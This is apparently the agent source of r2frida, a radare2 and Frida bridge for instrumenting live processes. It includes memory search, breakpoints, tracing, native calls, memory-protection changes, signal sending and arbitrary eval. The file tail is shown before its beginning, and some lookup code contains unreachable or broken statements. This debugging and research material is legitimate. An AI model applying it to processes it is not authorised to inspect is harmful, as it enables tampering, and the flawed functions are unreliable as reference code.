value: (typeof value === 'string') ? value : JSON.stringify(value)
}, null];
}
function evaluate (params) {
return new Promise(resolve => {
const {code} = params;
if (ObjCAvailable && !suspended) {
ObjC.schedule(ObjC.mainQueue, performEval);
} else {
performEval();
}
function performEval () {
let result;
try {
const rawResult = (1, eval)(code); // eslint-disable-line
global._ = rawResult;
if (rawResult !== undefined && mjolner !== undefined) {
result = mjolner.toCYON(rawResult);
} else {
result = 'undefined';
}
} catch (e) {
result = 'throw new ' + e.name + '("' + e.message + '")';
}
resolve([{
value: result
}, null]);
}
});
}
if (ObjCAvailable) {
mjolner.register();
}
Script.setGlobalAccessHandler({
enumerate () {
return [];
},
get (property) {
if (mjolner !== undefined) {
let result = mjolner.lookup(property);
if (result !== null) {
return result;
}
}
}
});
function fridaVersion () {
return { version: Frida.version };
}
function search (args) {
return searchJson(args).then(hits => {
return _readableHits(hits);
});
}
function searchJson (args) {
const pattern = _toHexPairs(args.join(' '));
return _searchPatternJson(pattern).then(hits => {
hits.forEach(hit => {
try {
const bytes = Memory.readByteArray(hit.address, 60);
hit.content = _filterPrintable(bytes);
} catch (e) {
}
});
return hits.filter(hit => hit.content !== undefined);
});
}
function searchHex (args) {
return searchHexJson(args).then(hits => {
return _readableHits(hits);
});
}
function searchHexJson (args) {
const pattern = _normHexPairs(args.join(''));
return _searchPatternJson(pattern).then(hits => {
hits.forEach(hit => {
const bytes = Memory.readByteArray(hit.address, hit.size);
hit.content = _byteArrayToHex(bytes);
});
return hits;
});
}
function searchWide (args) {
return searchWideJson(args).then(hits => {
return _readableHits(hits);
});
}
function searchWideJson (args) {
const pattern = _toWidePairs(args.join(' '));
return searchHexJson([pattern]);
}
function searchValueImpl (width) {
return function (args) {
return searchValueJson(args, width).then(hits => {
return _readableHits(hits);
});
};
}
function searchValueImplJson (width) {
return function (args) {
return searchValueJson(args, width);
};
}
function searchValueJson (args, width) {
let value;
try {
value = uint64(args.join(''));
} catch (e) {
return new Promise((resolve, reject) => reject(e));
}
return hostCmdj('ej')
.then(config => {
const bigEndian = config['cfg.bigendian'];
const bytes = _renderEndian(value, bigEndian, width);
return searchHexJson([_toHexPairs(bytes)]);
});
}
function _renderEndian (value, bigEndian, width) {
const bytes = [];
for (let i = 0; i !== width; i++) {
if (bigEndian) {
bytes.push(value.shr((width - i - 1) * 8).and(0xff).toNumber());
} else {
bytes.push(value.shr(i * 8).and(0xff).toNumber());
}
}
return bytes;
}
function _byteArrayToHex (arr) {
const u8arr = new Uint8Array(arr);
const hexs = [];
for (let i = 0; i !== u8arr.length; i += 1) {
const h = u8arr[i].toString(16);
hexs.push((h.length === 2) ? h : `0${h}`);
}
return hexs.join('');
}
const minPrintable = ' '.charCodeAt(0);
const maxPrintable = '~'.charCodeAt(0);
function _filterPrintable (arr) {
const u8arr = new Uint8Array(arr);
const printable = [];
for (let i = 0; i !== u8arr.length; i += 1) {
const c = u8arr[i];
if (c >= minPrintable && c <= maxPrintable) {
printable.push(String.fromCharCode(c));
}
}
return printable.join('');
}
function _readableHits (hits) {
const output = hits.map(hit => {
if (hit.flag !== undefined) {
return `${hit.address} ${hit.flag} ${hit.content}`;
}
return `${hit.address} ${hit.content}`;
});
return output.join('\n');
}
function _searchPatternJson (pattern) {
return hostCmdj('ej')
.then(config => {
const flags = config['search.flags'];
const prefix = config['search.prefix'] || 'hit';
const count = config['search.count'] || 0;
const kwidx = config['search.kwidx'] || 0;
const ranges = _getRanges(config['search.from'], config['search.to']);
const nBytes = pattern.split(' ').length;
qlog(`Searching ${nBytes} bytes: ${pattern}`);
let results = [];
const commands = [];
let idx = 0;
for (let range of ranges) {
if (range.size === 0) {
continue;
}
const rangeStr = `[${padPointer(range.address)}-${padPointer(range.address.add(range.size))}]`;
qlog(`Searching ${nBytes} bytes in ${rangeStr}`);
try {
const partial = Memory.scanSync(range.address, range.size, pattern);
partial.forEach((hit) => {
if (flags) {
hit.flag = `${prefix}${kwidx}_${idx + count}`;
commands.push('fs+searches');
commands.push(`f ${hit.flag} ${hit.size} ${hit.address}`);
commands.push('fs-');
}
idx += 1;
});
results = results.concat(partial);
} catch (e) {
}
}
qlog(`hits: ${results.length}`);
commands.push(`e search.kwidx=${kwidx + 1}`);
return hostCmds(commands).then(() => {
return results;
});
});
function qlog (message) {
if (!config['search.quiet']) {
console.log(message);
}
}
}
function _configParseSearchIn () {
const res = {
current: false,
perm: 'r--',
path: null,
heap: false
};
const c = config['search.in'];
const cSplit = c.split(':');
const [scope, param] = cSplit;
if (scope === 'current') {
res.current = true;
}
if (scope === 'heap') {
res.heap = true;
}
if (scope === 'perm') {
res.perm = param;
}
if (scope === 'path') {
cSplit.shift();
res.path = cSplit.join('');
}
return res;
}
function _getRanges (fromNum, toNum) {
const searchIn = _configParseSearchIn();
if (searchIn.heap) {
return Process.enumerateMallocRangesSync()
.map(_ => {
return {
address: _.base,
size: _.size
};
});
}
const ranges = Process.enumerateRangesSync({
protection: searchIn.perm,
coalesce: false
}).filter(range => {
const start = range.base;
const end = start.add(range.size);
const offPtr = ptr(offset);
if (searchIn.current) {
return offPtr.compare(start) >= 0 && offPtr.compare(end) < 0;
}
if (searchIn.path !== null) {
if (range.file !== undefined) {
return range.file.path.indexOf(searchIn.path) >= 0;
}
return false;
}
return true;
});
if (ranges.length === 0) {
return [];
}
const first = ranges[0];
const last = ranges[ranges.length - 1];
const from = (fromNum === -1) ? first.base : ptr(fromNum);
const to = (toNum === -1) ? last.base.add(last.size) : ptr(toNum);
return ranges.filter(range => {
return range.base.compare(to) <= 0 && range.base.add(range.size).compare(from) >= 0;
}).map(range => {
const start = _ptrMax(range.base, from);
const end = _ptrMin(range.base.add(range.size), to);
return {
address: start,
size: uint64(end.sub(start).toString()).toNumber()
};
});
}
function _ptrMax (a, b) {
return a.compare(b) > 0 ? a : b;
}
function _ptrMin (a, b) {
return a.compare(b) < 0 ? a : b;
}
function _toHexPairs (raw) {
const isString = typeof raw === 'string';
const pairs = [];
for (let i = 0; i !== raw.length; i += 1) {
const code = (isString ? raw.charCodeAt(i) : raw[i]) & 0xff;
const h = code.toString(16);
pairs.push((h.length === 2) ? h : `0${h}`);
}
return pairs.join(' ');
}
function _toWidePairs (raw) {
const pairs = [];
for (let i = 0; i !== raw.length; i += 1) {
const code = raw.charCodeAt(i) & 0xff;
const h = code.toString(16);
pairs.push((h.length === 2) ? h : `0${h}`);
pairs.push('00');
}
return pairs.join(' ');
}
function _normHexPairs (raw) {
const norm = raw.replace(/ /g, '');
if (_isHex(norm)) {
return _toPairs(norm.replace(/\./g, '?'));
}
throw new Error('Invalid hex string');
}
function _toPairs (hex) {
if ((hex.length % 2) !== 0) {
throw new Error('Odd-length string');
}
const pairs = [];
for (let i = 0; i !== hex.length; i += 2) {
pairs.push(hex.substr(i, 2));
}
return pairs.join(' ').toLowerCase();
}
function _isHex (raw) {
const hexSet = new Set(Array.from('abcdefABCDEF0123456789?.'));
const inSet = new Set(Array.from(raw));
for (let h of hexSet) {
inSet.delete(h);
}
return inSet.size === 0;
}
function onStanza (stanza, data) {
const handler = requestHandlers[stanza.type];
if (handler !== undefined) {
try {
const value = handler(stanza.payload, data);
if (value instanceof Promise) {
value
.then(([replyStanza, replyBytes]) => {
send(wrapStanza('reply', replyStanza), replyBytes);
})
.catch(e => {
send(wrapStanza('reply', {
error: e.message
}));
});
} else {
const [replyStanza, replyBytes] = value;
send(wrapStanza('reply', replyStanza), replyBytes);
}
} catch (e) {
send(wrapStanza('reply', {
error: e.message
}));
}
} else if (stanza.type === 'cmd') {
onCmdResp(stanza.payload);
} else {
console.error('Unhandled stanza: ' + stanza.type);
}
recv(onStanza);
}
let cmdSerial = 0;
function hostCmds (commands) {
let i = 0;
function sendOne () {
if (i < commands.length) {
return hostCmd(commands[i]).then(() => {
i += 1;
return sendOne();
});
} else {
return Promise.resolve();
}
}
return sendOne();
}
function hostCmdj (cmd) {
return hostCmd(cmd)
.then(output => {
return JSON.parse(output);
});
}
function hostCmd (cmd) {
return new Promise((resolve) => {
const serial = cmdSerial;
cmdSerial += 1;
pendingCmds[serial] = resolve;
sendCommand(cmd, serial);
});
}
function sendCommand (cmd, serial) {
function sendIt () {
sendingCommand = true;
send(wrapStanza('cmd', {
'cmd': cmd,
'serial': serial
}));
}
if (sendingCommand) {
pendingCmdSends.push(sendIt);
} else {
sendIt();
}
}
function onCmdResp (params) {
const {serial, output} = params;
sendingCommand = false;
if (serial in pendingCmds) {
const onFinish = pendingCmds[serial];
delete pendingCmds[serial];
process.nextTick(() => onFinish(output));
} else {
throw new Error('Command response out of sync');
}
process.nextTick(() => {
if (!sendingCommand) {
const nextSend = pendingCmdSends.shift();
if (nextSend !== undefined) {
nextSend();
}
}
});
return [{}, null];
}
function wrapStanza (name, stanza) {
return {
name: name,
stanza: stanza
};
}
recv(onStanza);
| src/agent/index.js | /* eslint-disable comma-dangle */
'use strict';
// TODO : implement tracelog eval var and dump trace info into this file
// this cant be done from the agent-side
const r2frida = require('./plugin'); // eslint-disable-line
const {stalkFunction, stalkEverything} = require('./stalker');
/* ObjC.available is buggy on non-objc apps, so override this */
const ObjCAvailable = ObjC && ObjC.available && ObjC.classes && typeof ObjC.classes.NSString !== 'undefined';
const JavaAvailable = Java && Java.available;
if (ObjCAvailable) {
var mjolner = require('mjolner');
}
const pointerSize = Process.pointerSize;
var offset = '0';
var suspended = false;
function numEval (expr) {
return new Promise((resolve, reject) => {
var symbol = DebugSymbol.fromName(expr);
if (symbol != 0) {
return resolve(symbol.address);
}
hostCmd('?v ' + expr).then(_ => resolve(_.trim())).catch(reject);
});
}
function evalNum (args) {
return new Promise((resolve, reject) => {
numEval(args.join(' ')).then(res => {
resolve(res);
});
});
}
const commandHandlers = {
'E': evalNum,
'/': search,
'/j': searchJson,
'/x': searchHex,
'/xj': searchHexJson,
'/w': searchWide,
'/wj': searchWideJson,
'/v1': searchValueImpl(1),
'/v2': searchValueImpl(2),
'/v4': searchValueImpl(4),
'/v8': searchValueImpl(8),
'/v1j': searchValueImplJson(1),
'/v2j': searchValueImplJson(2),
'/v4j': searchValueImplJson(4),
'/v8j': searchValueImplJson(8),
'?V': fridaVersion,
// '.': // this is implemented in C
'i': dumpInfo,
'e': evalConfig,
'i*': dumpInfoR2,
'ij': dumpInfoJson,
'db': breakpoint,
'db-': breakpointUnset,
'dbt': backtrace,
'dc': breakpointContinue,
'dcu': breakpointContinueUntil,
'dk': sendSignal,
'ii': listImports,
'ii*': listImportsR2,
'iij': listImportsJson,
'il': listModules,
'il.': listModulesHere,
'il*': listModulesR2,
'ilj': listModulesJson,
'iE': listExports,
'iE.': lookupSymbolHere,
'iEj': listExportsJson,
'iE*': listExportsR2,
'is': listSymbols,
'is.': lookupSymbolHere,
'isj': listSymbolsJson,
'is*': listSymbolsR2,
'isa': lookupSymbol,
'isa*': lookupSymbolR2,
'isaj': lookupSymbolJson,
'iEa': lookupExport,
'iEa*': lookupExportR2,
'iEaj': lookupExportJson,
'fD': lookupDebugInfo,
'fd': lookupAddress,
'fd.': lookupAddress,
'fd*': lookupAddressR2,
'fdj': lookupAddressJson,
'ic': listClasses,
'ic*': listClassesR2,
'icj': listClassesJson,
'ip': listProtocols,
'ipj': listProtocolsJson,
'dd': listFileDescriptors,
'dd-': closeFileDescriptors,
'dm': listMemoryRanges,
'dm*': listMemoryRangesR2,
'dmj': listMemoryRangesJson,
'dmp': changeMemoryProtection,
'dm.': listMemoryRangesHere,
'dmm': listMemoryMaps,
'dmh': listMallocRanges,
'dmh*': listMallocRangesR2,
'dmhj': listMallocRangesJson,
'dmhm': listMallocMaps,
'dma': allocSize,
'dmas': allocString,
'dmad': allocDup,
'dmal': listAllocs,
'dma-': removeAlloc,
'dp': getPid,
'dxc': dxCall,
'dx': dxHexpairs,
'dpj': getPid,
'dpt': listThreads,
'dptj': listThreadsJson,
'dr': dumpRegisters,
'dr*': dumpRegistersR2,
'drp': dumpRegisterProfile,
'dr8': dumpRegisterArena,
'drj': dumpRegistersJson,
'env': getOrSetEnv,
'envj': getOrSetEnvJson,
'dl': dlopen,
'dtf': traceFormat,
'dth': traceHook,
'dt': trace,
'dtj': traceJson,
'dt*': traceR2,
'dt.': traceHere,
'dt-': clearTrace,
'dtr': traceRegs,
'T': traceLogDump,
'T-': traceLogClear,
'T*': traceLog,
'dtS': stalkTraceEverything,
'dtSj': stalkTraceEverythingJson,
'dtS*': stalkTraceEverythingR2,
'dtSf': stalkTraceFunction,
'dtSfj': stalkTraceFunctionJson,
'dtSf*': stalkTraceFunctionR2,
'di': interceptHelp,
'di0': interceptRet0,
'di1': interceptRet1,
'di-1': interceptRet_1,
'pd': disasmCode,
'px': printHexdump,
'x': printHexdump,
'eval': evalCode,
};
const RTLD_GLOBAL = 0x8;
const RTLD_LAZY = 0x1;
const allocPool = {};
const pendingCmds = {};
const pendingCmdSends = [];
let sendingCommand = false;
function nameFromAddress (address) {
const at = DebugSymbol.fromAddress(ptr(address));
if (at) {
return at.name;
}
const module = Process.findModuleByAddress(address);
if (module === null) {
return null;
}
const imports = Module.enumerateImportsSync(module.name);
for (let imp of imports) {
if (imp.address.equals(address)) {
return imp.name;
}
}
const exports = Module.enumerateExportsSync(module.name);
for (let exp of exports) {
if (exp.address.equals(address)) {
return exp.name;
}
}
return address.toString();
}
function allocSize (args) {
const size = +args[0];
if (size > 0) {
const a = Memory.alloc(size);
return _addAlloc(a);
}
return 0;
}
function allocString (args) {
const theString = args.join(' ');
if (theString.length > 0) {
const a = Memory.allocUtf8String(theString);
return _addAlloc(a);
}
throw new Error('Usage: dmas [string]');
}
function allocDup (args) {
if (args.length < 2) {
throw new Error('Missing argument');
}
const addr = +args[0];
const size = +args[1];
if (addr > 0 && size > 0) {
const a = Memory.dup(ptr(addr), size);
return _addAlloc(a);
}
return 0;
}
function removeAlloc (args) {
if (args.length === 0) {
_clearAllocs();
} else {
for (let addr of args) {
_delAlloc(addr);
}
}
return '';
}
function listAllocs (args) {
return Object.values(allocPool)
.sort()
.map((x) => {
const bytes = Memory.readByteArray(x, 60);
const printables = _filterPrintable(bytes);
return `${x}\t"${printables}"`;
})
.join('\n');
}
function _delAlloc (addr) {
delete allocPool[addr];
}
function _clearAllocs () {
Object.keys(allocPool)
.forEach(addr => delete allocPool[addr]);
}
function _addAlloc (allocPtr) {
const key = allocPtr.toString();
if (!allocPtr.isNull()) {
allocPool[key] = allocPtr;
}
return key;
}
function dxCall (args) {
const nfArgs = [];
const nfArgsData = [];
for (var i = 1; i < args.length; i++) {
if (args[i].substring(0, 2) === '0x') {
nfArgs.push('pointer');
nfArgsData.push(ptr(args[i]));
} else if (args[i][0] === '"') {
// string.. join args
nfArgs.push('pointer');
const str = args[i].substring(1, args[i].length - 1);
const buf = Memory.allocUtf8String(str);
nfArgsData.push(buf);
// TODO: fix memory leak ?
} else if (+args[i] > 0) {
nfArgs.push('int');
nfArgsData.push(+args[i]);
} else {
nfArgs.push('pointer');
const address = Module.findExportByName(null, args[i]);
nfArgsData.push(ptr(address));
}
}
let address;
if (args[0].substring(0, 2) === '0x') {
address = ptr(args[0]);
} else {
address = Module.findExportByName(null, args[0]);
}
const fun = new NativeFunction(address, 'pointer', nfArgs);
switch (nfArgsData.length) {
/* eslint-disable indent */
case 0: return fun();
case 1: return fun(nfArgsData[0]);
case 2: return fun(nfArgsData[0], nfArgsData[1]);
case 3: return fun(nfArgsData[0], nfArgsData[1], nfArgsData[2]);
case 4: return fun(nfArgsData[0], nfArgsData[1], nfArgsData[2], nfArgsData[3]);
case 5: return fun(nfArgsData[0], nfArgsData[1], nfArgsData[2], nfArgsData[3], nfArgsData[4]);
/* eslint-enable indent */
}
return fun();
}
function dxHexpairs (args) {
return 'TODO';
}
function evalCode (args) {
const code = args.join(' ');
const result = eval(code); // eslint-disable-line
return (result !== undefined) ? result : '';
}
function printHexdump (lenstr) {
const len = +lenstr || 20;
return hexdump(ptr(offset), len) || '';
}
function disasmCode (lenstr) {
const len = +lenstr || 20;
return disasm(offset, len);
}
function disasm (addr, len, initialOldName) {
len = len || 20;
if (typeof addr === 'string') {
try {
addr = Module.findExportByName(null, addr);
if (!addr) {
throw new Error();
}
} catch (e) {
addr = ptr(offset);
}
}
addr = ptr('' + addr);
let oldName = initialOldName !== undefined ? initialOldName : null;
let lastAt = null;
let disco = '';
for (let i = 0; i < len; i++) {
const [op, next] = _tolerantInstructionParse(addr);
if (op === null) {
disco += `${addr}\tinvalid`;
addr = next;
continue;
}
const ds = DebugSymbol.fromAddress(addr);
const dsName = (ds.name === null || ds.name.indexOf('0x') === 0) ? '' : ds.name;
if ((ds.moduleName !== null || dsName !== null) && dsName !== oldName) {
disco += `;;; ${ds.moduleName} ${dsName}\n`;
oldName = dsName;
}
var comment = '';
const id = op.opStr.indexOf('#0x');
if (id !== -1) {
try {
const at = op.opStr.substring(id + 1).split(' ')[0].split(',')[0].split(']')[0];
if (op.opStr.indexOf(']') !== -1) {
try {
const p = Memory.readPointer(ptr(lastAt).add(at));
const str = Memory.readCString(p);
// console.log('; str:', str);
disco += '; str:' + str + '\n';
} catch (e) {
const p2 = Memory.readPointer(ptr(at));
const str2 = Memory.readCString(p2);
// console.log('; str2:', str2);
disco += '; str2:' + str2 + '\n';
console.log(e);
}
}
lastAt = at;
const di = DebugSymbol.fromAddress(ptr(at));
if (di.name !== null) {
comment = '\t; ' + (di.moduleName || '') + ' ' + di.name;
} else {
const op2 = Instruction.parse(ptr(at));
const id2 = op2.opStr.indexOf('#0x');
const at2 = op2.opStr.substring(id2 + 1).split(' ')[0].split(',')[0].split(']')[0];
const di2 = DebugSymbol.fromAddress(ptr(at2));
if (di2.name !== null) {
comment = '\t; -> ' + (di2.moduleName || '') + ' ' + di2.name;
}
}
} catch (e) {
// console.log(e);
}
}
// console.log([op.address, op.mnemonic, op.opStr, comment].join('\t'));
disco += [op.address, op.mnemonic, op.opStr, comment].join('\t') + '\n';
if (op.size < 1) {
// break; // continue after invalid
op.size = 1;
}
addr = addr.add(op.size);
}
return disco;
}
function sym (name, ret, arg) {
try {
return new NativeFunction(Module.findExportByName(null, name), ret, arg);
} catch (e) {
console.error(name, ':', e);
}
}
/* This is not available on Windows */
const _getenv = sym('getenv', 'pointer', ['pointer']);
const _setenv = sym('setenv', 'int', ['pointer', 'pointer', 'int']);
const _getpid = sym('getpid', 'int', []);
const _getuid = sym('getuid', 'int', []);
const _dlopen = sym('dlopen', 'pointer', ['pointer', 'int']);
const _dup2 = sym('dup2', 'int', ['int', 'int']);
const _fstat = Module.findExportByName(null, 'fstat')
? sym('fstat', 'int', ['int', 'pointer'])
: sym('__fxstat', 'int', ['int', 'pointer']);
const _close = sym('close', 'int', ['int']);
const _kill = sym('kill', 'int', ['int', 'int']);
if (Process.platform === 'darwin') {
// required for mjolner.register() to work on early instrumentation
dlopen(['/System/Library/Frameworks/Foundation.framework/Foundation']);
}
const traceListeners = [];
const config = {
'patch.code': true,
'search.in': 'perm:r--',
'search.quiet': false,
'stalker.event': 'compile',
'stalker.timeout': 5 * 60,
'stalker.in': 'raw',
};
const configHelp = {
'search.in': configHelpSearchIn,
'stalker.event': configHelpStalkerEvent,
'stalker.timeout': configHelpStalkerTimeout,
'stalker.in': configHelpStalkerIn,
};
const configValidator = {
'search.in': configValidateSearchIn,
'stalker.event': configValidateStalkerEvent,
'stalker.timeout': configValidateStalkerTimeout,
'stalker.in': configValidateStalkerIn,
};
function configHelpSearchIn () {
return `Specify which memory ranges to search in, possible values:
perm:--- filter by permissions (default: 'perm:r--')
current search the range containing current offset
heap search inside the heap allocated regions
path:pattern search ranges mapping paths containing 'pattern'
`;
}
function configValidateSearchIn (val) {
if (val === 'heap') {
return true;
}
const valSplit = val.split(':');
const [scope, param] = valSplit;
if (param === undefined) {
if (scope === 'current') {
return valSplit.length === 1;
}
return false;
}
if (scope === 'perm') {
const paramSplit = param.split('');
if (paramSplit.length !== 3 || valSplit.length > 2) {
return false;
}
const [r, w, x] = paramSplit;
return (r === 'r' || r === '-') &&
(w === 'w' || w === '-') &&
(x === 'x' || x === '-');
}
return scope === 'path';
}
function configHelpStalkerEvent () {
return `Specify the event to use when stalking, possible values:
call trace calls
ret trace returns
exec trace every instruction
block trace basic block execution (every time)
compile trace basic blocks once (this is the default)
`;
}
function configValidateStalkerEvent (val) {
return ['call', 'ret', 'exec', 'block', 'compile'].indexOf(val) !== -1;
}
function configHelpStalkerTimeout () {
return `Time after which the stalker gives up (in seconds). Defaults to 5 minutes,
set to 0 to disable.`;
}
function configValidateStalkerTimeout (val) {
return val >= 0;
}
function configHelpStalkerIn () {
return `Restrict stalker results based on where the event has originated:
raw stalk everywhere (the default)
app stalk only in the app module
modules stalk in app module and all linked libraries
`;
}
function configValidateStalkerIn (val) {
return ['raw', 'app', 'modules'].indexOf(val) !== -1;
}
function evalConfig (args) {
if (args.length === 0) {
return Object.keys(config)
.map(k => 'e ' + k + '=' + config[k])
.join('\n');
}
const kv = args[0].split(/=/);
if (kv.length === 2) {
if (config[kv[0]] !== undefined) {
if (kv[1] === '?') {
if (configHelp[kv[0]] !== undefined) {
return configHelp[kv[0]]();
}
console.error(`no help for ${kv[0]}`);
return '';
}
if (configValidator[kv[0]] !== undefined) {
if (!configValidator[kv[0]](kv[1])) {
console.error(`Invalid value for ${kv[0]}`);
return '';
}
}
config[kv[0]] = kv[1];
} else {
console.error('unknown variable');
}
return '';
}
return config[args[0]];
}
function dumpInfo () {
const properties = dumpInfoJson();
return Object.keys(properties)
.map(k => k + ' ' + properties[k])
.join('\n');
}
function dumpInfoR2 () {
const properties = dumpInfoJson();
return [
'e asm.arch=' + properties.arch,
'e asm.bits=' + properties.bits,
'e asm.os=' + properties.os
].join('\n');
}
function getR2Arch (arch) {
switch (arch) {
case 'ia32':
case 'x64':
return 'x86';
case 'arm64':
return 'arm';
}
return arch;
}
var breakpoints = {};
function breakpointUnset (args) {
if (args.length === 1) {
if (args[0] === '*') {
for (let k of Object.keys(breakpoints)) {
const bp = breakpoints[k];
Interceptor.revert(ptr(bp.address));
}
breakpoints = {};
return 'All breakpoints removed';
}
const symbol = Module.findExportByName(null, args[0]);
const addr = (symbol !== null) ? symbol : ptr(args[0]);
const newbps = [];
let found = false;
for (let k of Object.keys(breakpoints)) {
const bp = breakpoints[k];
// eslint-disable-next-line
if (args[0] === '*' || bp.address == addr) {
found = true;
console.log('Breakpoint reverted');
Interceptor.revert(ptr(bp.address));
} else {
newbps.push(bp);
}
}
if (!found) {
console.error('Cannot found any breakpoint matching');
}
breakpoints = {};
for (let bp of newbps) {
breakpoints[bp.address] = bp;
}
return '';
}
return 'Usage: db- [addr|*]';
}
function breakpointExist (addr) {
const bp = breakpoints['' + addr];
return bp && !bp.continue;
}
function sendSignal (args) {
const argsLength = args.length;
console.error('WARNING: Frida hangs when signal is sent. But at least the process doesnt continue');
if (argsLength === 1) {
const sig = +args[0];
_kill(_getpid(), sig);
} else if (argsLength === 2) {
const [pid, sig] = args;
_kill(+pid, +sig);
} else {
return 'Usage: \dk ([pid]) [sig]';
}
return '';
}
function breakpointContinueUntil (args) {
return new Promise((resolve, reject) => {
numEval(args[0]).then(num => {
setBreakpoint(num);
const shouldPromise = breakpointContinue();
if (typeof shouldPromise === 'object') {
shouldPromise.then(resolve).catch(reject);
} else {
resolve(shouldPromise);
}
}).catch(reject);
});
}
function breakpointContinue (args) {
if (suspended) {
suspended = false;
return hostCmd('=!dc');
}
let count = 0;
for (let k of Object.keys(breakpoints)) {
const bp = breakpoints[k];
if (bp && bp.stopped) {
count++;
bp.continue = true;
}
}
return 'Continue ' + count + ' thread(s).';
}
function breakpoint (args) {
if (args.length === 0) {
return JSON.stringify(breakpoints, null, ' ');
}
return new Promise((res, rej) => {
numEval(args[0]).then(num => {
setBreakpoint(num);
res(JSON.stringify(breakpoints, null, ' '));
}).catch(e => {
console.error(e);
rej(e);
});
});
}
function setBreakpoint (address) {
const symbol = Module.findExportByName(null, address);
const addr = (symbol !== null) ? symbol : ptr(address);
if (breakpointExist(addr)) {
return 'Cant set a breakpoint twice';
}
const addrString = '' + addr;
const bp = {
name: address,
stopped: false,
address: addrString,
continue: false,
handler: Interceptor.attach(addr, function () {
if (breakpoints[addrString]) {
breakpoints[addrString].stopped = true;
const showBacktrace = true;
if (showBacktrace) {
console.log(addr);
const bt = Thread.backtrace(this.context).map(DebugSymbol.fromAddress);
console.log(bt.join('\n\t'));
}
}
while (breakpointExist(addr)) {
Thread.sleep(1);
}
if (breakpoints[addrString]) {
breakpoints[addrString].stopped = false;
breakpoints[addrString].continue = false;
}
})
};
breakpoints[addrString] = bp;
}
function dumpInfoJson () {
return {
arch: getR2Arch(Process.arch),
bits: pointerSize * 8,
os: Process.platform,
pid: getPid(),
uid: _getuid(),
objc: ObjCAvailable,
java: JavaAvailable,
cylang: mjolner !== undefined,
};
}
function listModules () {
return Process.enumerateModulesSync()
.map(m => padPointer(m.base) + ' ' + m.name)
.join('\n');
}
function listModulesR2 () {
return Process.enumerateModulesSync()
.map(m => 'f lib.' + m.name + ' = ' + padPointer(m.base))
.join('\n');
}
function listModulesJson () {
return Process.enumerateModulesSync();
}
function listModulesHere () {
const here = ptr(offset);
return Process.enumerateModulesSync()
.filter(m => here.compare(m.base) >= 0 && here.compare(m.base.add(m.size)) < 0)
.map(m => padPointer(m.base) + ' ' + m.name)
.join('\n');
}
function listExports (args) {
return listExportsJson(args)
.map(({type, name, address}) => {
return [address, type[0], name].join(' ');
})
.join('\n');
}
function listExportsR2 (args) {
return listExportsJson(args)
.map(({type, name, address}) => {
return ['f', 'sym.' + type.substring(0, 3) + '.' + name, '=', address].join(' ');
})
.join('\n');
}
function listExportsJson (args) {
const modules = (args.length === 0) ? Process.enumerateModulesSync().map(m => m.path) : [args[0]];
return modules.reduce((result, moduleName) => {
return result.concat(Module.enumerateExportsSync(moduleName));
}, []);
}
function listSymbols (args) {
return listSymbolsJson(args)
.map(({type, name, address}) => {
return [address, type[0], name].join(' ');
})
.join('\n');
}
function listSymbolsR2 (args) {
return listSymbolsJson(args)
.map(({type, name, address}) => {
return ['f', 'sym.' + type.substring(0, 3) + '.' + name, '=', address].join(' ');
})
.join('\n');
}
function listSymbolsJson (args) {
const modules = (args.length === 0) ? Process.enumerateModulesSync().map(m => m.path) : [args[0]];
return modules.reduce((result, moduleName) => {
return result.concat(Module.enumerateSymbolsSync(moduleName));
}, []);
}
function lookupDebugInfo (args) {
const o = DebugSymbol.fromAddress(ptr('' + args));
console.log(o);
}
/* function lookupDebugInfoR2 (args) {
const o = DebugSymbol.fromAddress(ptr('' + args));
console.log(o);
} */
function lookupAddress (args) {
if (args.length === 0) {
args = [ptr(offset)];
}
return lookupAddressJson(args)
.map(({type, name, address}) => [type, name, address].join(' '))
.join('\n');
}
function lookupAddressR2 (args) {
return lookupAddressJson(args)
.map(({type, name, address}) =>
['f', 'sym.' + name, '=', address].join(' '))
.join('\n');
}
function lookupAddressJson (args) {
const exportAddress = ptr(args[0]);
const result = [];
const modules = Process.enumerateModulesSync().map(m => m.path);
return modules.reduce((result, moduleName) => {
return result.concat(Module.enumerateExportsSync(moduleName));
}, [])
.reduce((type, obj) => {
if (ptr(obj.address).compare(exportAddress) === 0) {
result.push({
type: obj.type,
name: obj.name,
address: obj.address
});
}
return result;
}, []);
}
function lookupSymbolHere (args) {
return lookupAddress([ptr(offset)]);
}
function lookupExport (args) {
return lookupExportJson(args)
// .map(({library, name, address}) => [library, name, address].join(' '))
.map(({address}) => '' + address)
.join('\n');
}
function lookupExportR2 (args) {
return lookupExportJson(args)
.map(({name, address}) =>
['f', 'sym.' + name, '=', address].join(' '))
.join('\n');
}
function lookupExportJson (args) {
if (args.length === 2) {
const [moduleName, exportName] = args;
const address = Module.findExportByName(moduleName, exportName);
if (address === null) {
return [];
}
const m = Process.getModuleByAddress(address);
return [{
library: m.name,
name: exportName,
address: address
}];
} else {
const exportName = args[0];
let prevAddress = null;
return Process.enumerateModulesSync()
.reduce((result, m) => {
const address = Module.findExportByName(m.path, exportName);
if (address !== null && (prevAddress === null || address.compare(prevAddress))) {
result.push({
library: m.name,
name: exportName,
address: address
});
prevAddress = address;
}
return result;
}, []);
}
}
// lookup symbols
function lookupSymbol (args) {
return lookupSymbolJson(args)
// .map(({library, name, address}) => [library, name, address].join(' '))
.map(({address}) => '' + address)
.join('\n');
}
function lookupSymbolR2 (args) {
return lookupSymbolJson(args)
.map(({name, address}) =>
['f', 'sym.' + name, '=', address].join(' '))
.join('\n');
}
function lookupSymbolJson (args) {
if (args.length === 2) {
let [moduleName, symbolName] = args;
try {
const m = Process.getModuleByName(moduleName);
} catch (e) {
const res = Process.enumerateModulesSync().filter(function (x) {
return x.name.indexOf(moduleName) !== -1;
});
if (res.length !== 1) {
return [];
}
moduleName = res[0].name;
}
return [{
library: moduleName,
name: symbolName,
address: address
}];
let address = 0;
Module.enumerateSymbolsSync(moduleName).filter(function (s) {
if (s.name === symbolName) {
address = s.address;
}
});
if (address === 0) {
return [];
}
return [{
library: moduleName,
name: symbolName,
address: address
}];
} else {
let [symbolName] = args;
var at = DebugSymbol.fromName(symbolName);
if (at) {
return [{
library: moduleName,
name: symbolName,
address: at.address
}];
}
const modules = Process.enumerateModulesSync();
let address = 0;
let moduleName = '';
for (let m of modules) {
Module.enumerateSymbolsSync(m.name).filter(function (s) {
if (s.name === symbolName) {
moduleName = m.name;
address = s.address;
}
});
if (address === 0) {
return [];
}
}
return [{
library: moduleName,
name: symbolName,
address: address
}];
}
}
function listImports (args) {
return listImportsJson(args)
.map(({type, name, module, address}) => [address, type ? type[0] : ' ', name, module].join(' '))
.join('\n');
}
function listImportsR2 (args) {
const seen = new Set();
